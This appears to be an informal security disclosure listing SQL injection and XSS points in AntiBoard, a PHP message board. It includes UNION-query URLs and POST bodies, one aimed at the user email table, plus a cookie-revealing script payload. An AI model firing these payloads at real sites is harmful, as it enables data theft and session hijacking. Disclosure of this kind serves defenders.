    - Introduction
    ++++++++++++++

    This widely used board is small and compact as stated before, great to
    use for home users running a webserver and want some bulletin board
    action.

    From the site:
    AntiBoard is a small and compact multi-threaded bulletin board/message
    board system written in PHP. It uses either MySQL or PostgreSQL as the
    database backend, and has support for different languages. It is not
    meant as the end all be all of bulletin boards, but rather something
    to easily integrate into your own page.

    I found these while just playing around with the software, I tend to
    start playing around with software on freshmeat when i get bored..
    (yeah i know, get a life).

    Freshmeat Stats:

    - XSS/Injection Points
    ++++++++++++++

    There are a number of SQL points within this piece of software. Some
    are harmless, others can produce tables that you may not want to have
    others see...

    Lets begin...

    SQL Injection Points:
    UNION QUERY USING GET:
    ============
    /antiboard.php?thread_id=1%20UNION%20ALL%20select%20field%20from%20whatever--&mode=threaded&sort_order=
    ============
    /antiboard.php?range=all&mode=threaded&thread_id=1&reply=1&parent_id=1%20UNION%20ALL%20select%20field%20from%20whatever--
    ============
    /antiboard.php?range=all&thread_id=1%20UNION%20ALL%20select%20field%20from%20whatever--&sort_order=ASC&mode=threaded
    ============
    antiboard.php?thread_id=1&parent_id=1%20UNION%20ALL%20select%20field%20from%20whatever--&mode=nested&reply=1
    ============

    STORED PROCEDURE POSSIBLE:
    ============
    POST antiboard.php poster_name=1111&poster_email=1111&message_title=1111&message_body=1111&submit=Submit%2bmessage&thread_id=3&mode=1';%20exec%20whatever--&range=&parent_id=0&reply=reply
    ============

    UNION QUERY USING POST:
    ============
    POST antiboard.php poster_name=1111&poster_email=1111&message_title=1111&message_body=1111&submit=Submit%2bmessage&thread_id=3&mode=threaded&range=&parent_id=1%20UNION ALL select field from antiboard_emails----&reply=reply
    ============
    (try this one out, you may not like the results)

    And i only briefly went over XSS, I'm sure its vulnerable in more places..

    XSS Injection Point:
    http:///antiboard.php?thread_id=1&mode=threaded&range=&feedback=&lt;script&gt;alert(document.cookie);&lt;/script&gt;
